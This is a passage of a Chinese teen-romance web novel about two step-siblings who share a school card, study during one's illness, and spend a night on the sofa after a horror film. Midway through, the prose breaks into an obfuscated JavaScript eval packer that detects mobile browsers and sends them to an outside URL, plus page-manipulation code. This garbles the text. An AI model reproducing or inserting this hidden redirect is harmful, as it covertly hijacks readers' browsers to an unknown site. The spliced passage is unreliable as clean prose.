赵星茴瞬间翻脸,秀眉竖起,圆溜溜的瞳仁清澈得能倒影出他的身影,“我虐待你喽?” 闻楝什么也没说,拎起书包走了。 晚风浮动,少年的身形高高瘦瘦,脚步松散,夕阳余韵落在他身上,背影清爽而温柔。 也许还有一个理由——他完全知道受委屈的滋味是什么。 这天闻楝和赵星茴一起回到了家。 到家赵星茴喊燕姐:“燕姨,家里的医药箱在哪里?” 燕姨看见闻楝脸畔的一块青,哎哟了声,连声问怎么回事,赶忙把医药箱抱出来,帮他处理下淤青。 赵星茴磨磨蹭蹭坐在客厅没走。 等燕姐处理完伤口,她突然凑到闻楝身边,眼睛闪闪发亮:“今天晚上让爆爆陪你睡吧?你今天受伤了,它会安慰你的。” 闻楝噎了一下。 上回她居心叵测地把爆爆塞到他房间,半夜这小家伙满屋子跑酷,直接从柜子顶跳下来砸在他肚子上。 她蹬蹬蹬上楼,浑然未觉后脚跟磨出血的伤痕,把爆爆抱下来,还带了几个电动宠物玩具,献宝似的在闻楝面前道:“这是爆爆最喜欢的玩具。如果你想跟猫猫睡觉,首先呢,你要消耗掉它的精力,等它累得都不想动弹,那整个晚上它都会乖乖睡觉,一点都不吵。” 赵星茴把玩具扔出来:“爆爆,我陪你玩。” 她抓着逗猫棒,几个玩具在地上滴溜溜的转,爆爆难得运动,东扑西跑,忙得跟陀螺似的。 “这个……” 闻楝把创可贴递到她面前。 赵星茴顺着他的目光,瞥见自己的脚踝。 她说谢谢,把创可贴拍在了脚踝。 那天晚上爆爆留在了闻楝房间。 雪白毛绒绒的小猫蜷在他枕边,一夜呼呼大睡,一夜好梦。 12. 第 12 章 爆爆平时只在二楼活动,有自己专属的房间。 这个房间褚文兰起初想着腾出来安顿闻楝,只是后来赵星茴不依不饶,以至现在依然被爆爆霸占,沦为名副其实的宠物房。 家里人不爱猫,褚文兰和赵坤则在家时,爆爆从来在楼上呼呼大睡,有时候赵星茴和方歆把它抱到楼下或者花园玩会,家里阿姨也不喜欢,因为要及时清理沙发和地毯上的绒毛。 自打闻楝来后,爆爆对他产生了莫大的兴趣,特别是赵星茴允许闻楝碰爆爆之后,爆爆时不时要绕着闻楝的腿蹭来蹭去,撒娇卖萌。 “太太很不喜欢猫。”燕姐看闻楝给它喂水煮虾,好心提醒他,“这猫不好,待会太太要下楼吃早餐,阿楝你还给小茴吧。” 要论家里站队,那毋庸置疑,闻楝肯定站在褚文兰身边。 闻楝揉了把爆爆雪白柔软的肚皮,温声说好。 “闻楝,你把爆爆抱上来。”小公主召唤,让他还猫。 “我上来?” 闻楝抬头,看赵星茴穿一身小草莓图案的杏色碎花睡裙,洗脸发箍上趴着两只熊猫,头发还是乱的,趴着栏杆喊他。 他漆黑的眸子里藏着迟疑。 “不然呢?”她理所当然反问他,嗓音脆脆,“我忙着呢。” 闻楝抱起爆爆,以某种微妙……近乎走进盘丝洞的心态迈步上了二楼。 整个二楼都是赵星茴的领域,风格走的是一种繁丽的公主风路线,室内设计师做了功能区划分,卧室、衣帽间、书房、玩乐区互相连通,闻楝未窥全貌,也礼貌地不抬头打量,只是入眼就见各类玩偶和女孩子喜欢的花里胡哨的摆件,空间气息有一种少女的甜香。 赵星茴让他给爆爆喂粮换水,自己到处翻找东西,睡衣裙角轻盈乱转,忍不住叉腰扭头:“闻楝,我的校园卡你看见了吗?前两天还在的。” 闻楝垂着眼:“没有。” “这已经是我第四次丢卡了。”她烦躁地哎了一声,忙着找东西,趿着拖鞋踢踢踏踏,一路跟着闻楝下楼,去翻门厅和沙发,又吧嗒吧嗒上楼翻箱倒柜,最后时间来不及,拎着书包下楼,草草吃了两口早饭,出门上学。 方歆分析,说要么是丢在运动会的操场,要么被人偷了,也不用再找,肯定找不回来,再补办一张算了。 以前初中时期,赵星茴有一次把校园卡落在图书馆,后来学校有张清纯少女的照片流传开来,传到赵星茴班上才发现是她本人,追究起来才知道,有个男生捡到赵星茴校园卡,喜欢卡面的照片,把这张校园卡私藏了,聊天时把照片转发给同学朋友。 赵星茴凶了那个男生一顿。 她已经懒得去补卡,直接赖上了闻楝的卡。 学校进门系统有人脸识别,图书馆是不去的,她吃饭归他管,学生西餐厅的奶油蘑菇意面和牛肝菌烩饭、中餐厅的海鲜砂锅煲和炸猪排都是她的最爱,每天下午学校面包房现烤的苹果可颂最好吃,他要是路过要记得给她买一个,夏天的鲜榨橙汁和冬天的雪梨草莓奶昔必买,课间零食比较喜欢夹心棉花糖、巧克力曲奇和薯片…… 闻楝听她滔滔不绝地说,从食堂说到超市再到面包房、书店再到图书馆,开学她往校园卡里充了一万块钱,现在还剩一半,都转到他的校园卡里。 “不许不同意。”她伸出纤细手指在他面前晃,清澈的眼睛理直气壮地盯着他,“不用褚文兰出钱,我会定期给你卡里充钱,你花我的钱,我用你的卡。” 赵星茴的衣食住行都是家里准备,零花钱也是不限额,此外还有亲妈的补贴,在物质上从没受过一点亏待,闻楝每个月的零花钱也是褚文兰给,每个季度给一次,他用的极少,也不肯多要,几乎没什么额外的开销。 这事不允许闻楝说不。 高中部人数多,中午食堂也更火热,以前是方歆偶尔请闻楝帮忙在餐厅占座,现在变成了闻楝和赵星茴捎着方歆一块儿去吃饭。 理所当然,闻楝不挑食,也没有特别的偏好,吃什么喝什么都是她先挑,她不爱的那份才是他的。 不过,如果有什么新品出现,那第一个吃的大概是闻楝——谁知道好不好吃?总得找个人试试毒不是。 “我想喝芒果芭乐。” “可以。” “也想要樱桃莓莓。” “也可以。” “但我只能喝一杯,两杯根本喝不完。” 闻楝给她建议:“那你今天买一种,明天再买另一种。” “不行,我两种都想喝。” 他蹙起眉棱,看时间:“你已经挑了十分钟了,你可以两杯都买。” “我喝不完。”她的目光在两个饮品中逡巡,“闻楝,你觉得哪个更好喝?” “都一样。” “怎么可能一样?明明风味口感都不一样,你觉得哪个比较适合我?” “没区别。” 她扭头,哼了声:“你再这么敷衍我的话,我可以再纠结十分钟。” 闻楝抿唇:“赵星茴,你只有两个选择,买一杯,或者买两杯。” “我说了,我喝不完两杯。” 闻楝眉间浮起不耐烦,最后退让:“你喝不完给我可以吗?” “不行,我有洁癖。”她拗过脸,“我不喝别人喝过的东西,也不许别人喝我喝过的东西。” “我没想喝你剩下的。”他面无表情地付钱,多要了个纸杯。 两人分享两杯饮料,赵星茴捧腮看他低眉顺眼地倒出一半饮料,把剩下的杯子递还给她。 她扬起秀眉,接过杯子,呷了口清爽甘甜的果汁,而后眯眼如月牙,舔唇回味,跟他碰杯:“cheers!” 闻楝喝了两个半杯甜滋滋的饮料。 自此他的食谱逐渐丰富起来,以前没吃过的,没见过的,赵星茴喜欢的,赵星茴不喜欢的,他喜欢的,他不喜欢的,通通尝到了一半。 赵星茴第一次出现在隔壁班级门口找闻楝。 那时闻楝和同学在聊刚发下来的试卷,扭头看她光彩湛湛地抱手站在门口,星眸微转,看见他抬抬下巴,示意他出来。 身边同学都呆了呆,他放下笔,泰然自若地走向她。 “上午老师发了份讲义,我要去复印。”她嘴唇微噘,语气不容拒绝,“方歆去社团活动了,你陪我。” 他陪她。 两人并肩走出教学楼,沿着楼下的花园小径走去学生服务中心,最近寒潮来袭,天气实在太冷,呵气成霜,花园角落结着冰霜,只有冬青和常青藤还带着少许生机。 “什么讲义?”闻楝问。 “你别管。”赵星茴不肯说。 她不说,闻楝就不问,手伸进黑色外套衣兜,闷头走自己的路。 赵星茴穿得永远可爱漂亮,身上的颜色比闻楝亮眼,轻薄羽绒服配牛仔裤和短靴,像花园的春天,她甩手走了几步,自己又忍不住:“烦死了。不就是期末考试需要的那种嘛……” 懂了,为期末考试准备的复习讲义。 两人走了一段,赵星茴想了想:“喂。司机说待会来接,你要不要跟我一起回家?” “不用了。”闻楝道,“再过十分钟就是自主自习课,我晚一点再回家。” 她干巴巴说了声:“哦。” 闻楝在不久之后又回到教室,班上女同学凑过来,好奇地问他和赵星茴的关系——当初赵星茴在方歆面前瞒了好久她和闻楝的关系,如今方歆也保守秘密,不随随便便往外提这件事。 赵星茴那性格,没有被当面八卦的烦恼,但闻楝由于他的好人缘,身边当然围着兴致勃勃又万分好奇的同学。 “是女朋友吗?” “我好几次看见你们走在一起哦。” “隔壁赵星茴名气很大哎,长得漂亮,喜欢她的男生也不少。” “方歆说你们住在同一片社区,初中就认识,那你们是不是很熟啊?” 闻楝微笑着把话题岔开,只说不是,是个普通朋友。 这位同住在一个屋檐下的“普通朋友”在这次寒潮中由于不注意保暖,穿了件露脐毛衣,不出意外得了重感冒,请假养病一周。 闻楝听见她打电话喊“妈咪”,用那种闷闷哑哑又慵懒撒娇的声音,跟电话那端的凌微抱怨学校好讨厌功课好多,老师好凶好严格,最近总是下雨好烦人。 凌微安慰她,邀请她春节来新加坡过春节,可以全家一起去海岛度假。 “如果我考试成绩好的话。”赵星茴撒娇,“就把这个当旅行奖励。” “怎么样都可以,我提前给你订机票。”凌微笑着哄女儿,“复习也不用太辛苦,要是有不懂的地方,我让显舟哥哥教你。” 赵星茴嘟囔:“我才不要他教呢,他老是把我当小学生一样看待。” 何况,赵星茴瞄了眼身边走过的人:“我可以找别人。” 物尽其用,闻楝被赵星茴抓来陪她复习。 她身披卡通毛毯,左手搁着感冒冲剂,右手放着红糖姜茶,桌前摆着纸巾盒,垃圾桶里堆着用过的纸巾,鼻尖通红地摊开面前的讲义。 闻楝的理科成绩接近满分,数理化一科科讲起来,再清和的嗓音,也能听得赵星茴昏头涨脑。 她大概有那么点反骨,最擅长理直气壮和蛮不讲理,说的最对的是“你讲的不对”和“你根本没和我讲过”。 闻楝揉揉眉心,耐心在跟她复习的过程中一点点耗尽又一点点重塑,碍于她感冒,语气十分之温和:“那我再讲一遍,这是个必考的知识点。” 她把手中的面巾纸揉成一团,喝一口感冒冲剂,又喝一口红糖姜茶,往后一仰,瘫在地毯上:“我累了,我想吃冰糖葫芦和糖炒栗子。” 闻楝低头翻着讲义,眉头已经皱起:“叫外送。” “那家店排队的人很多,没有外送。”她哼哧哼哧咳两声,又吸吸被纸巾蹂躏得通红的鼻子,拖着那种闷闷哑哑的嗓音,像汤匙上挂着的焦糖蜂蜜,“药太苦了,我吃什么都不喜欢,我想吃甜甜酸酸的冰糖葫芦。” “早知现在,何必当初,明明知道降温,为什么不多穿一件。” “那你为什么不提醒我?”她用笔敲敲纸面,问他,“你明明知道降温,看我穿那么少,为什么不告诉我一声。” 闻楝默不作声地叹了口气,放下书,起身。 “你去哪儿?” “买冰糖葫芦。”闻楝拎起外套,打算出门,“你先把卷子做完,回来我帮你检查。” 一个小时后,赵星茴如愿以偿地吃到热腾腾的糖炒栗子和酸酸甜甜的冰糖葫芦,而闻楝拿过她的复习卷,又默不作声地叹了口气。 赵星茴念书并不差,但思维总是擅长跳跃,嫁接错误和太不把题目放在眼里。 她也能在桌前熬到半夜十一点,熬到比闻楝还晚,不管留了多少作业都自己完成,绝不抄他一个字,硬撑着眼皮把那本可圈可点的讲义全都啃完。 “你为什么要学这么好?”她咬着笔尖问他,“已经够好了,为什么每门科目成绩都要求那么完美?” 闻楝阖上书,淡声回她:“除了成绩之外,我还有什么能要求的吗?” 他也问她:“你为什么要坚持?” 赵星茴又扔出一张纸巾,冷声嘟囔:“我当然要好好念书,所有人都以为我办不到的事情,我偏要办到。” 重感冒痊愈之后,期末考试静悄悄降临。 连赵坤则都没意识到这个学期“唰”地就结束,还寻思着两个孩子在家没去上学,是不是因为最近下雪,学校停课。 其实天上也就飘了几朵雪花,花园里连片积雪都没有。 赵星茴的期末考试成绩不错,凌微给前夫打电话说过阵子她要回国处理些事情,再接星茴一起去新加坡过寒假,提前跟他打声招呼。 “你能不能对女儿上点心?对她有点父亲的关心和责任感,前阵子她感冒生病你都不知道。”凌微抱怨。 “我怎么不上心,家里有专人照顾她,文兰天天安排她的衣食住行,她感冒我也叮嘱她好好吃药。”赵坤则大大咧咧,“你也知道我工作忙,公司业务忙,应酬又多,你要是能把她劝到新加坡去也行,我也少操点心。” “你要是真上心,怎么会领个孩子到家里来住。”凌微语气微冷,“星茴不说,不代表我不知道,她要是受一点委屈……” “绝对没有的事儿,我们都是为了星茴好。”赵坤则打断前妻,好声好气,“你把星茴接去新加坡过寒假,我绝对没问题,有空你也回家坐坐,我和文兰都欢迎你。” “……” 无关乎大人的恩怨,赵星茴这阵子在家吃吃睡睡好无聊。 闻楝也在,今年寒假他没有回邻市,褚文兰说天气不好,让他呆在家里,正好年前她要回去参加高中同学聚会,到时候两人一道回去。 方歆来家里玩,陪赵星茴一道撸猫打游戏看电影,两人这阵子迷上了悬疑片,窝在懒人沙发里,一部部电影看得飞快。 那天方歆点开了一部恐怖片:“看这个吧,我们班好多同学说这部片子很好看。” 赵星茴抱着抱枕啃薯片:“可怕吗?” “应该还行吧,恐怖级别不高。” 鬼片最需要气氛和同伴,大白天的观影效果还算欢乐,还有爆爆在旁捣乱,两人嘻嘻哈哈挤在一起调侃:“这剧情也太无聊了吧。” 二十分钟后,方歆接到妈妈电话,冲着赵星茴挤挤眼睛:“我老爸下班了,说晚上要带我们出去吃大餐,我先回家喽。” “电影还没看完呢。”赵星茴追着她下楼。 “你自己看吧。或者让闻楝陪你看,他应该快从图书馆回来了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726291|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵星茴自己不敢一个人在房间看。 她人菜瘾大,又惦记着电影后面的剧情,好不容易等闻楝从图书馆回来,吃完晚饭,纠结万分又眼巴巴地盯着他:“你晚上陪我看个电影?” 闻楝看她眼睛闪闪发光的期待,并不确定她在期待什么,想了想,温声道:“可以。” “恐怖片哦,可能会有一点点可怕。”赵星茴蹦去客厅开电视,调出影片,“我已经看了一点,我们可以从头看起。” 窗外天色已经完全黑透,只有冷风飕飕吹着干枯的树枝,燕姐做完家务,没什么事的话会回房间休息,赵星茴想了想观影气氛,摁灭了头顶的水晶大灯,只留下客厅周围的一圈氛围灯,拍拍沙发。 “你坐这儿,我坐旁边。” 闻楝在她身边坐下。 赵星茴抱着抱枕窝进了沙发。 电影前二十分钟的剧情显得温馨平淡,和“恐怖”两字完全不搭边。 三十分钟后,电影正式开始进入了剧情,音效和节奏突然提了好几个档次,赵星茴本来好端端地吃着薯片,冷不丁被吓得一哆嗦,手里的薯片全都撒在了地上。 以每两分钟为进度,赵星茴的蠕动轨迹以闻楝为目标,十分钟之后已经蹭到了他身边。 她被画面吓得一惊一乍,电影跳一个恐怖镜头,她也跟着应激,抱枕一会儿揪在手里,一会儿挡在脸前,一会儿哆嗦,一会儿尖叫。 闻楝倒是很平静。 “如果你害怕的话,我们可以不看。” “可是我还想看。”她声音发抖,犹豫害怕又欲罢不能,“我又害怕,又想看,你挡着我一点。” 闻楝没办法。 最后赵星茴整个人都躲他背后,只敢颤颤巍巍地探出一个脑袋,或者在他肩膀上浮起一双好奇万分又小心翼翼的眼睛。 方歆说错了,这恐怖片超级可怕。 血淋淋的画面突然跳出来,赵星茴一激灵一窜,身上的毛孔齐刷刷竖起来,揪着闻楝的衣服都在抖——他没被电影画面吓到,倒是被她时不时突如其来的尖叫声和在背后的动静给吓了一跳。 后来赵星茴揪住了闻楝的手臂。 她浑然不觉,眼睛哆哆嗦嗦地瞅着,指甲已经掐进了他的手,力道重不重,皮肤刺不刺痛,全凭画面感强不强。 “闻楝,你能不能去把灯都打开?太暗了我害怕。” 闻楝还没起身,又被拖拽着坐下:“呜呜呜你还是别走,我怕那个人又突然回来。” 她脑袋鸵鸟似的埋在他后背,哆哆嗦嗦开口,“你帮我看着点,我先不看……那个人走了你再告诉我。” “已经走了。” “真的走了吗?” 闻楝平静道:“真的走了,可以出来了。” 她脑袋从他肩膀上探出来,瑟瑟发抖地瞄了两眼,五秒后又被画面暴击一次,心都快跳出嗓子眼,猛地闭上眼,手指紧紧掐住闻楝,放声尖叫:“啊啊啊啊啊——” “赵星茴……” 闻楝被她吵得心神不能,嗓音里有某种无奈,“那都是人造血浆和拍摄道具。” “你骗我。”她手哆嗦锤他肩膀,惊魂未定,嗓子都吓软了,“明明超级可怕,你故意吓我。” “刚才真的走的。” 赵星茴连锤带掐揍了他好几下。 闻楝仰头,无声叹气。 明明忍受着眼前的血腥画面,却毫无半点沉浸感,还要饱受视线、耳膜和身体的多重折磨。 人生经验之一:永远不要和赵星茴一起看恐怖片。 电影看完,赵星茴好像魂都快被吓没了,闻楝好像被凌虐了一场。 两人分别回房睡觉。 半个小时后,闻楝洗完澡,换好睡衣,已经在床上躺好。 门口突然响起“叩叩”的敲门声,赵星茴的声音颤颤传来:“闻楝,闻楝,你睡着了吗?” 闻楝拧开门。 眼前的少年刚洗完澡,肤色白皙干净,脸颊有点嘭嘭的湿润柔和感,头发乌黑,眼睛明亮而嘴唇红薄,穿着浅色棉质的格纹睡衣,青葱挺拔,天然带好感的气质也很能安抚人,舒缓恐怖片的血腥画面和偌大空间的恐惧感。 赵星茴几乎要挤在他房门口。 闻楝也是猝不及防看见赵星茴的脸——她披散着微潮的长发,整个人缩在长长的白色睡裙中,只露出一张皎洁生动的面孔,明眸漆黑又慌乱,湿润红唇紧抿,显而易见的惴惴不安。 她手里还搂着枕头和薄被。 “我不敢在房间睡觉。”她嗓音丝丝袅袅,“我洗完澡,听见浴室滴滴答答的水声,我总觉得是血……爆爆还不理我。” 她仰起脸,又偏偏有种打搅人的理直气壮:“闻楝,你陪我睡吧。” 闻楝伫立在门口,漆黑的眼睛盯着她,诧异又不知所措地抿了抿唇:“……” 一个字也没说出来。 赵星茴凑在他眼皮子底下:“你把你的枕头和被子拿出来,我们去沙发上睡。” 没的拒绝。 闻楝回头望望自己的床,又望望外头,咽了下喉咙:“好……” 客厅的凹型沙发宽大舒适,价格昂贵,皮质柔软,睡觉完全没问题,赵星茴占了一个,扔上枕头,抖开被子:“你睡我旁边。” 她蜷着把自己裹起来,裹成小小一团。 闻楝默不作声地在另一座沙发躺下。 安安静静。 赵星茴窸窸窣窣翻了个身:“哎,你能不能挨我近一点,我听不见你的呼吸声。” 他掉了个头,脑袋离着她更近点。 赵星茴胡思乱想:“闻楝,你能跟我说说话吗?” “说什么。” “随便,有点声音就行。唱首歌或者讲个故事吧,小时候我妈妈都这样哄我睡觉。” 看完恐怖片还要哄人睡觉,这绝对不是个正确的决定。闻楝无奈地闭上眼睛,复又睁开,语气平和:“那我背课文给你听吧。” “要好听的那种课文。”赵星茴嘟囔。 这么寂静的冬夜,这么奇妙的气氛,这么青葱的时光,少年淙淙清澈的嗓音缓缓响起:“永和九年,岁在癸丑,暮春之初……” 赵星茴的呼吸渐渐平缓。 他的嗓音缓慢停下,静静地听了会,轻柔开口:“赵星茴?” 闻楝昂起了头——她面朝外侧,一缕长发滑落枕畔,脸颊乖乖地枕着自己的手背,纤浓卷翘的睫毛覆在恬静无暇的面孔,红唇微微放松,纤细身姿半蜷在薄被中,像个晶莹剔透的美梦。 “赵星茴,晚安。” 闻楝轻言,安静闭上了眼。 第二日一早,向来早睡早起的燕姐起床,诧异地发现沙发上躺着两个裹着被子的孩子,黑鸦鸦的脑袋凑在一处,各自睡得沉静,怎么看怎么和睦。